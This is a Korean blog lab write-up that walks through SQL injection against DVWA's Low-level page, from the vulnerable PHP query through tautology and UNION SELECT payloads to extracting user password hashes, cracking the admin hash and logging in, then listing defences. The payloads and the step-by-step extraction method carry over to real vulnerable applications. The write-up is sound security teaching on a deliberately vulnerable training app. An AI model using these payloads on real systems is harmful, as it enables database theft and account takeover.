이번 실습은 DVWA의 SQL Injection 취약점을 대상으로 한 공격 시나리오로, 보안 레벨이 Low로 설정된 환경에서 데이터베이스 정보를 추출하고 패스워드를 크랙 하여 인증 우회에 성공하는 과정을 다뤘다. 실습은 단순한 쿼리 조작을 넘어서, 실제 서비스에 치명적인 영향을 줄 수 있는 SQLi 공격의 전 과정을 따라가며 이해하는 것이 목적이었다.
1. SQL Injection이란?
SQL Injection은 웹 애플리케이션이 사용자 입력값을 적절히 검증하지 않고 SQL 쿼리에 포함시킬 때 발생하는 취약점이다.
공격자는 이를 통해 쿼리를 조작하거나 우회해 데이터베이스의 민감한 정보를 탈취하거나, 인증을 우회하거나, 시스템을 제어할 수 있다.
2. 실습 환경
- DVWA 보안 레벨 : Low
- 대상 취약점 페이지 : /vulnerabilities/sqli/
- 공격 방식 : SQL 쿼리 조작 => 정보 추출 => 해시 크랙
- 도구 : 웹 브라우저, CrackStation
3. 취약한 코드 분석
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
$id = $_REQUEST[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( mysqli_error($GLOBALS["___mysqli_ston"]) );
while( $row = mysqli_fetch_assoc( $result ) ) {
$first = $row["first_name"];
$last = $row["last_name"];
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
사용자 입력값을 아무런 필터링 없이 SQL 쿼리에 삽입하고 있음 => SQL Injection 발생
4. 기본 페이로드 테스트
- 정상적인 입력:
1
SELECT first_name, last_name FROM users WHERE user_id = '1';
=> ID가 1인 사용자만 조회가 된다.
- SQL 우회 :
1'OR'1=1
SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1=1';
# 무조건 true가 됨.
=> '1=1'은 항상 참이므로, 조건 전체가 참이 된다. => 모든 사용자 정보 노출
5. 컬럼 개수 파악
입력값: 'ORDER BY 1#
입력값: 'ORDER BY 2#
입력값: 'ORDER BY 3#
=> 3번째 쿼리에서 에러 발생 => 사용 가능한 컬럼 수는 2개
6. 정보 추출 (UNION SELECT)
UNION
SELECT문을 하나로 이어준다.
단순 출력 테스트
입력값: 1' UNION SELECT 1, 2#
DB 정보 추출
입력값: 1' UNION SELECT null, version()#
입력값: 1' UNION SELECT null, database()#
입력값: 1' UNION SELECT null, user()#
=> DB 버젼, DB명, 사용자 확인
7. 테이블 및 컬럼 조회
테이블 목록
입력값: 1' UNION SELECT null, table_name FROM information_schema.tables WHERE table_schema='dvwa'#
=> users, guestbook 등 확인
컬럼 목록
입력값: 1' UNION SELECT null, column_name FROM information_schema.columns WHERE table_name='users'#
=> user_id, first_name, last_name, user, password 등 확인
8. 사용자 정보 추출
입력값: 1' UNION SELECT null, concat(user,0x0a,password) FROM users#
=> 줄 바꿈 문자 0x0a 사용해 user와 password를 보기 좋게 출력
9. CrackStation을 통한 해시 크랙
admin
5f4dcc3b5aa765d61d8327deb882cf99
=> CrackStation (https://crackstation.net/) 사용
=> 복호화 결과 : password
10. 로그인 시도
- ID : admin
- PW : password
=> DVWA 로그인 성공! 인증 우회 완료
11. 대응 방안
보안 조치 | 설명 |
Prepared Statement | 쿼리와 입력값을 분리하여 삽입 방지 |
입력 필터링 | 숫자 ID에는 숫자만 허용 |
오류 메세지 숨기기 | DB 에러 노출 금지 |
최소 권한 계정 사용 | 읽기 전용 DB 계정 사용 권장 |
12. 배운 점 & 느낀 점
이번 실습은 단순한 숫자 입력창 하나로부터 전체 사용자 정보와 해시된 비밀번호까지 탈취할 수 있다는 점에서 SQL Injection의 위험성을 크게 느낄 수 있었다. 또한 CrackStation을 활용해 인증 우회를 성공했는데 이는 실제 서비스에서도 충분히 가능한 공격이라는 것을 깨달을 수 있었다. 무조건 Prepared Statement를 사용하고, 사용자 입력값을 검증해야 한다는 것을 다시 한번 생각해 볼 수 있었던 실습이었다.
이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.
모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.
'웹 해킹 & 보안' 카테고리의 다른 글
[웹 모의해킹] SQL Injection 3 - High 단계 실습 (2) | 2025.06.05 |
---|---|
[웹 모의해킹] SQL Injection 실습 - 2편 - Medium 단계 (4) | 2025.06.05 |
[웹 모의해킹] CAPTCHA - CAPTCHA 우회 실습 - 2편 (0) | 2025.06.04 |
[웹 모의해킹] CAPTCHA - 이미지 기반 인증 우회 실습 - 1편 (4) | 2025.06.04 |
[웹 모의해킹] File Upload - 파일 업로드 취약점 실습 - 3편 (0) | 2025.06.03 |